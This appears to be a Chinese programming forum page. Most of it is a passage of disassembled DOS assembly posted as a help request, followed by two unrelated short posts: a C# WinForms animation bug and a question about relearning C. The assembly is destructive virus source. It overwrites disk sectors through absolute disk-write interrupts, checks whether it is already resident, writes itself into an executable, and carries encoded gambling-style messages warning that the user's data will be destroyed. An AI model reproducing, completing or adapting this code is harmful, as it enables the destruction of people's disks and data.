MOV AL,DS:DATA_3E ; (0000:060E=0)

CMP AL,DS:DATA_6E ; (0000:0611=0)

JE LOC_30 ; Jump if equal

MOV DL,21H ; '!'

MOV AL,DS:DATA_3E ; (0000:060E=0)

CALL SUB_7 ; (09C9)

DEC BYTE PTR DS:DATA_3E ; (0000:060E=0)

LOC_30:

MOV AL,DS:DATA_4E ; (0000:060F=0)

CMP AL,DS:DATA_7E ; (0000:0612=0)

JE LOC_31 ; Jump if equal

MOV DL,29H ; ')'

MOV AL,DS:DATA_4E ; (0000:060F=0)

CALL SUB_7 ; (09C9)

DEC BYTE PTR DS:DATA_4E ; (0000:060F=0)

LOC_31:

MOV AL,DS:DATA_4E ; (0000:060F=0)

CMP AL,DS:DATA_7E ; (0000:0612=0)

JNE LOC_27 ; Jump if not equal

MOV AH,DS:DATA_3E ; (0000:060E=0)

CMP AH,DS:DATA_6E ; (0000:0611=0)

JNE LOC_27 ; Jump if not equal

MOV BL,DS:DATA_2E ; (0000:060D=0)

CMP BL,DS:DATA_5E ; (0000:0610=0)

JNE LOC_27 ; Jump if not equal

CMP AL,0

JNE LOC_32 ; Jump if not equal

CMP AH,0

JNE LOC_32 ; Jump if not equal

CMP BL,0

JNE LOC_32 ; Jump if not equal

MOV DX,80AH

MOV AH,9

INT 21H ; DOS Services ah=function 09h

; display char string at ds:dx

CALL SUB_9 ; (0A18)

JMP SHORT LOC_35 ; (09C7)

DB 90H

LOC_32:

CMP AL,1

JNE LOC_33 ; Jump if not equal

CMP AH,1

JNE LOC_33 ; Jump if not equal

CMP BL,1

JNE LOC_33 ; Jump if not equal

MOV DX,88DH

MOV AH,9

INT 21H ; DOS Services ah=function 09h

; display char string at ds:dx

JMP SHORT LOC_34 ; (09BD)

DB 90H

LOC_33:

MOV AL,DS:DATA_1E ; (0000:060C=0)

CMP AL,0

JE LOC_34 ; Jump if equal

JMP LOC_26 ; (08BF)

LOC_34:

MOV DX,8D6H

MOV AH,9

INT 21H ; DOS Services ah=function 09h

; display char string at ds:dx

JMP SHORT LOC_35 ; (09C7)

NOP

LOC_35:

JMP SHORT LOC_35 ; (09C7)

;?????????????????????????????????????

; SUBROUTINE

;?????????????????????????????????????

SUB_7 PROC NEAR

MOV AH,0

PUSH AX

MOV DH,0BH

MOV AH,2

MOV BH,0

INT 10H ; Video display ah=functn 02h

; set cursor location in dx

POP AX

MOV BL,3

DIV BL ; al, ah rem = ax/reg

MOV BL,AH

MOV BH,0

ADD BX,609H

MOV AL,[BX]

MOV AH,0EH

MOV BX,0

INT 10H ; Video display ah=functn 0Eh

; write char al, teletype mode

retn

SUB_7 ENDP

;?????????????????????????????????????

; SUBROUTINE

;?????????????????????????????????????

SUB_8 PROC NEAR

PUSH DS

MOV BX,DS

ADD BX,1000H

MOV DS,BX

MOV BX,0

MOV AH,19H

INT 21H ; DOS Services ah=function 19h

; get default drive al (0=a:)

MOV CX,50H

MOV DX,0

INT 25H ; Absolute disk read, drive al

POPF ; Pop flags

MOV BX,0

MOV DS,BX

MOV AH,19H

INT 21H ; DOS Services ah=function 19h

; get default drive al (0=a:)

MOV CX,50H

MOV DX,0

INT 26H ; Absolute disk write, drive al

POPF ; Pop flags

POP DS

retn

SUB_8 ENDP

;?????????????????????????????????????

; SUBROUTINE

;?????????????????????????????????????

SUB_9 PROC NEAR

PUSH DS

MOV BX,DS

ADD BX,1000H

MOV DS,BX

MOV BX,0

MOV AH,19H

INT 21H ; DOS Services ah=function 19h

; get default drive al (0=a:)

MOV CX,50H

MOV DX,0

INT 26H ; Absolute disk write, drive al

POPF ; Pop flags

POP DS

retn

SUB_9 ENDP

LOC_36:

MOV BX,0

MOV AX,4B59H

INT 21H ; DOS Services ah=function 4Bh

; run progm @ds:dx, parm @es:bx

CMP AX,666H

JNE LOC_37 ; Jump if not equal

JMP LOC_41 ; (0AF0)

LOC_37:

PUSH DS

POP ES

PUSH DS

PUSH CS

POP DS

MOV SI,0

MOV DI,917H

MOV CX,100H

CLD ; Clear direction

REP MOVSB ; Rep when cx >0 Mov [si] to es:[di]

POP DS

MOV AH,2FH ; '/'

INT 21H ; DOS Services ah=function 2Fh

; get DTA ptr into es:bx

MOV DS:DATA_14E,BX ; (6AE6:0041=0)

MOV DS:DATA_15E,ES ; (6AE6:0043=6AE6h)

MOV DX,4EH

MOV AH,1AH

INT 21H ; DOS Services ah=function 1Ah

; set DTA to ds:dx

MOV DX,11H

MOV CX,3FH

MOV AH,4EH ; 'N'

INT 21H ; DOS Services ah=function 4Eh

; find 1st filenam match @ds:dx

JC LOC_38 ; Jump if carry Set

MOV DX,11H

CALL SUB_1 ; (06EE)

CMP DL,1

JNE LOC_38 ; Jump if not equal

CALL SUB_2 ; (073C)

LOC_38:

CALL SUB_5 ; (07FD)

MOV DX,20H

MOV CX,2

MOV AH,3CH ; '<'

INT 21H ; DOS Services ah=function 3Ch

; create/truncate file @ ds:dx

JC LOC_40 ; Jump if carry Set

MOV BX,AX

MOV DX,0

MOV CX,91AH

MOV AH,40H ; '@'

INT 21H ; DOS Services ah=function 40h

; write file cx=bytes, to ds:dx

PUSH AX

MOV AH,3EH ; '>'

INT 21H ; DOS Services ah=function 3Eh

; close file, bx=file handle

POP AX

CMP AX,CX

JE LOC_39 ; Jump if equal

MOV DX,20H

MOV AH,41H ; 'A'

INT 21H ; DOS Services ah=function 41h

; delete file, name @ ds:dx

JMP SHORT LOC_40 ; (0AD1)

DB 90H

LOC_39:

PUSH CS

POP ES

MOV BX,CS:DATA_8E ; (6AE6:0002=0)

SUB BX,92CH

MOV CX,CS

SUB BX,CX

MOV AH,4AH ; 'J'

INT 21H ; DOS Services ah=function 4Ah

; change mem allocation, bx=siz

MOV DX,20H

PUSH DS

POP ES

MOV BX,2DH

MOV AX,4B00H

INT 21H ; DOS Services ah=function 4Bh

; run progm @ds:dx, parm @es:bx

LOC_40:

CALL SUB_6 ; (0813)

PUSH CS

POP ES

MOV DI,0

MOV SI,917H

MOV CX,0FFH

CLD ; Clear direction

REP MOVSB ; Rep when cx >0 Mov [si] to es:[di]

MOV DX,DS:DATA_14E ; (6AE6:0041=0)

MOV BX,DS:DATA_15E ; (6AE6:0043=6AE6h)

MOV DS,BX

MOV AH,1AH

INT 21H ; DOS Services ah=function 1Ah

; set DTA to ds:dx

LOC_41:

PUSH CS

POP DS

JMP $-0F32H

JMP $+3DFH

DB 48H, 9BH, 9CH, 3FH, 5, 0AH

DB 5, 3, 1, 3, 0, 6EH

DB 71H, 6DH, 6DH, 84H, 84H, 84H

DB 0A8H, 0ADH, 0B7H, 0AFH, 84H, 0A8H

DB 0A9H, 0B7H, 0B8H, 0B6H, 0B3H, 0BDH

DB 0A9H, 0B6H, 84H, 5DH, 84H, 0A5H

DB 84H, 0B7H, 0B3H, 0B9H, 0BAH, 0A9H

DB 0B2H, 0ADH, 0B6H, 84H, 0B3H, 0AAH

DB 84H, 0B1H, 0A5H, 0B0H, 0B8H, 0A5H

DB 6EH, 71H, 6EH, 71H, 6DH, 6DH

DB 0ADH, 84H, 0CCH, 0C5H, 0DAH, 0C9H

DB 84H, 0CEH, 0D9H, 0D7H, 0D8H, 84H

DB 0A8H, 0A9H, 0B7H, 0B8H, 0B6H, 0B3H

DB 0BDH, 0A9H, 0A8H, 84H, 0D8H, 0CCH

DB 0C9H, 84H, 0AAH, 0A5H, 0B8H, 84H

DB 0D3H, 0D2H, 84H, 0DDH, 0D3H, 0D9H

DB 0D6H, 84H, 0A8H, 0CDH, 0D7H, 0CFH

DB 84H, 85H, 85H, 6EH, 71H, 84H

DB 84H, 84H, 84H, 84H, 84H, 0ACH

DB 0D3H, 0DBH, 0C9H, 0DAH, 0C9H, 0D6H

DB 90H, 84H, 0ADH, 84H, 0CCH, 0C5H

DB 0DAH, 0C9H, 84H, 0C5H, 84H, 0C7H

DB 0D3H, 0D4H, 0DDH, 84H, 0CDH, 0D2H

DB 84H, 0B6H, 0A5H, 0B1H, 90H, 84H

DB 0C5H, 0D2H, 0C8H, 84H, 0ADH, 0C4H

DB 0D1H, 84H, 0CBH, 0CDH, 0DAH, 0CDH

DB 0D2H, 0CBH, 84H, 0DDH, 0D3H, 0D9H

DB 84H, 0C5H, 84H, 0D0H, 0C5H, 0D7H

DB 0D8H, 84H, 0C7H, 0CCH, 0C5H, 0D2H

DB 0C7H, 0C9H, 6EH, 71H, 6DH, 6DH

DB 6DH, 0D8H, 0D3H, 84H, 0D6H, 0C9H

DB 0D7H, 0D8H, 0D3H, 0D6H, 0C9H, 84H

DB 0DDH, 0D3H, 0D9H, 0D6H, 84H, 0D4H

DB 0D6H, 0C9H, 0C7H, 0CDH, 0D3H, 0D9H

DB 0D7H, 84H, 0C8H, 0C5H, 0D8H, 0C5H

DB 92H, 6EH, 71H, 84H, 84H, 84H

DB 84H, 84H, 0BBH, 0A5H, 0B6H, 0B2H

DB 0ADH, 0B2H, 0ABH, 9EH, 84H, 0ADH

DB 0AAH, 84H, 0BDH, 0B3H, 0B9H, 84H

DB 0B6H, 0A9H, 0B7H, 0A9H, 0B8H, 84H

DB 0B2H, 0B3H, 0BBH, 90H, 84H, 0A5H

DB 0B0H, 0B0H, 84H, 0BDH, 0B3H, 0B9H

DB 0B6H, 84H, 0A8H, 0A5H, 0B8H, 0A5H

DB 84H, 0BBH, 0ADH, 0B0H, 0B0H, 84H

DB 0A6H, 0A9H, 84H, 0B0H, 0B3H, 0B7H

DB 0B8H, 84H, 91H, 84H, 0AAH, 0B3H

DB 0B6H, 0A9H, 0BAH, 0A9H, 0B6H, 84H

DB 85H, 85H, 6EH, 71H, 6DH, 6DH

DB 84H, 84H, 84H, 0BDH, 0D3H, 0D9H

DB 0D6H, 84H, 0A8H, 0C5H, 0D8H, 0C5H

DB 84H, 0C8H, 0C9H, 0D4H, 0C9H, 0D2H

DB 0C8H, 0D7H, 84H, 0D3H, 0D2H, 84H

DB 0C5H, 84H, 0CBH, 0C5H, 0D1H, 0C9H

DB 84H, 0D3H, 0CAH, 84H, 0AEH, 0A5H

DB 0A7H, 0AFH, 0B4H, 0B3H, 0B8H, 71H

DB 6EH, 71H, 6EH, 6DH, 6DH, 84H

DB 84H, 84H, 84H, 84H, 84H, 0A7H

DB 0A5H, 0B7H, 0ADH, 0B2H, 0B3H, 84H

DB 0A8H, 0A9H, 84H, 0B1H, 0A5H, 0B0H

DB 0B8H, 0A9H, 84H, 0AEH, 0A5H, 0A7H

DB 0AFH, 0B4H, 0B3H, 0B8H

DB ' ;nqnqmmm-1'

DB 1FH, 6DH, 2DH, 31H, 1FH, 6DH

DB 2DH, 31H, 1FH, 6EH, 71H, 6DH

DB 6DH, 6DH, 3BH, 0, 3BH, 6DH

DB 3BH, 0A3H, 3BH, 6DH, 3BH, 0FFH

DB ' ;;nqmmm,1 m,1 m,1 nqmmm'

DB 84H, 84H, 84H, 84H, 0A7H, 0B6H

DB 0A9H, 0A8H, 0ADH, 0B8H, 0B7H, 84H

DB 9EH, 84H, 99H

DB ' ;nqqnqnmmm'

DB 0, 0, 0, 84H, 0A1H, 84H

DB 0BDH, 0D3H, 0D9H, 0D6H, 84H, 0A8H

DB 0CDH, 0D7H, 0CFH, 6EH, 71H, 6DH

DB 6DH, 6DH, 0A3H, 0A3H, 0A3H, 84H

DB 0A1H, 84H, 0B1H, 0DDH, 84H, 0B4H

DB 0CCH, 0D3H, 0D2H, 0C9H, 84H, 0B2H

DB 0D3H, 92H, 6EH, 71H, 6EH, 71H

DB 6DH, 6DH, 6DH, 0A5H, 0B2H, 0BDH

DB 84H, 0AFH, 0A9H, 0BDH, 84H, 0B8H

DB 0B3H, 84H, 0B4H, 0B0H, 0A5H, 0BDH

DB ' ;qnqnqnqnqn'

DB 88H, 6EH, 71H, 0A6H, 0A5H, 0B7H

DB 0B8H, 0A5H, 0B6H, 0A8H, 84H, 85H

DB 84H, 0BDH, 0D3H, 0D9H, 0C4H, 0D6H

DB 0C9H, 84H, 0D0H, 0D9H, 0C7H, 0CFH

DB 0DDH, 84H, 0D8H, 0CCH, 0CDH, 0D7H

DB 84H, 0D8H, 0CDH, 0D1H, 0C9H, 84H

DB 91H, 84H, 0C6H, 0D9H, 0D8H, 84H

DB 0CAH, 0D3H, 0D6H, 84H, 0DDH, 0D3H

DB 0D9H, 0D6H, 84H, 0D3H, 0DBH, 0D2H

DB 84H, 0D7H, 0C5H, 0CFH, 0C9H, 90H

DB 84H, 0D2H, 0D3H, 0DBH, 6EH, 71H

DB 0B7H, 0BBH, 0ADH, 0B8H, 0A7H, 0ACH

DB 84H, 0B3H, 0AAH, 0AAH, 84H, 0BDH

DB 0B3H, 0B9H, 0B6H, 84H, 0A7H, 0B3H

DB 0B1H, 0B4H, 0B9H, 0B8H, 0A9H, 0B6H

DB 84H, 0A5H, 0B2H, 0A8H, 84H, 0A8H

DB 0B3H, 0B2H, 0C4H, 0B8H, 84H, 0B8H

DB 0B9H, 0B6H

LOC_42:

MOV DL,84H

LODSW ; String [si] to ax

MOV AX,0B384H

MOV DL,84H

MOV AX,0B0ADH

MOV AL,84H

MOV AX,0B1B3H

MOV BL,0B6H

MOV DH,0B3H

MOV BX,8584H

TEST AX,DS:DATA_33E[DI] ; (6AE6:716E=0)

MOV [BP+71H],CH

MOV DL,0D3H

TEST CH,[BP+SI-3827H]

IRET ; Interrupt return

DB 0CDH, 0D2H, 0C4H, 84H, 0A7H, 0CCH

DB 0C5H, 0D2H, 0C7H, 0C9H, 9FH, 84H

DB 0C5H, 0D2H, 0C8H, 84H, 0ADH, 0C4H

DB 0D1H, 84H, 0D4H, 0D9H, 0D2H, 0CDH

DB 0D7H, 0CCH, 0CDH, 0D2H, 0CBH, 84H

DB 0DDH, 0D3H, 0D9H, 84H, 0CAH, 0D3H

DB 0D6H, 84H, 0D8H, 0D6H, 0DDH, 0CDH

DB 0D2H, 0CBH, 84H, 0D8H, 0D3H, 84H

DB 0D8H, 0D6H, 0C5H, 0C7H, 0C9H, 84H

DB 0D1H, 0C9H, 84H, 0C8H, 0D3H, 0DBH

DB 0D2H, 84H, 85H, 88H, 6EH, 71H

DB 0ACH, 0A5H, 84H, 0ACH, 0A5H, 84H

DB 85H, 85H, 84H, 0BDH, 0D3H, 0D9H

DB 84H, 0C5H, 0D7H, 0D7H, 0CCH, 0D3H

DB 0D0H, 0C9H, 90H, 84H, 0DDH, 0D3H

DB 0D9H, 0C4H, 0DAH, 0C9H, 84H, 0D0H

DB 0D3H, 0D7H, 0D8H, 9EH, 84H, 0D7H

DB 0C5H, 0DDH, 84H, 0A6H, 0DDH, 0C9H

DB 84H, 0D8H, 0D3H, 84H, 0DDH, 0D3H

DB 0D9H, 0D6H, 84H, 0A6H, 0C5H, 0D0H

DB 0D0H, 0D7H, 84H, 92H, 92H, 92H

DB 6EH, 71H, 88H, 0CDH, 20H, 0

SEG_A ENDS

END START

----------------------------------------------------------

{:43_8920:}不能发asm文件,我只好这样了!

[查看全文]
呆呆的坐
求大神!!
展开Biu

namespace WindowsFormsApplication7

{

public partial class Form1 : Form

{

public Form1()

{

InitializeComponent();

}

private void Form1_Load(object sender, EventArgs e)

{

}

private void radioButton1_CheckedChanged(object sender, EventArgs e)

{

}

private void timer1_Tick(object sender, EventArgs e)

{

if (radioButton1.Left < 101) //让球自动向右运动

radioButton1.Left++;

else if (radioButton1.Top > 158)//设置临界点让球的运动发生变化

radioButton1.Top--;

else if (radioButton1.Left < 189)

radioButton1.Left++;

else if (radioButton1.Top < 191)

radioButton1.Top++;

else if (radioButton1.Left < 264)

radioButton1.Left++;

}

}

}

-----------------------华丽的分割线------------------------------------------

我这个编程就是让radioButton像一颗球一样沿着Button1、2、3的表面滑动。。。

问题就是我的”球“滑倒一半就不能动了。。

好像是下面这部分的代码都没用到。。。

else if (radioButton1.Top < 191)

radioButton1.Top++;

else if (radioButton1.Left < 264)

radioButton1.Left++;

[查看全文]
赫也k
话说~如何迅速拾起原来学过的东西呢?
展开Biu

比如三年前学过C语言,后来就再也没有抠过细节的东西……始终在参考例程然后改一改的水平……还有用MATLAB基本函数的水平……

比如两年前学过数据结构,类c的……于是从来没会过c++…从那以后再也没用过除了栈的概念之外的数据结构……

现在找工作各种考c考数据结构,发现忘光了……读程序还没事儿,自己一写真是坑,选择填空也很坑……

于是想问一下大家~除了重新学习一遍……大家还有什么快速拾起的方法吗?

[查看全文]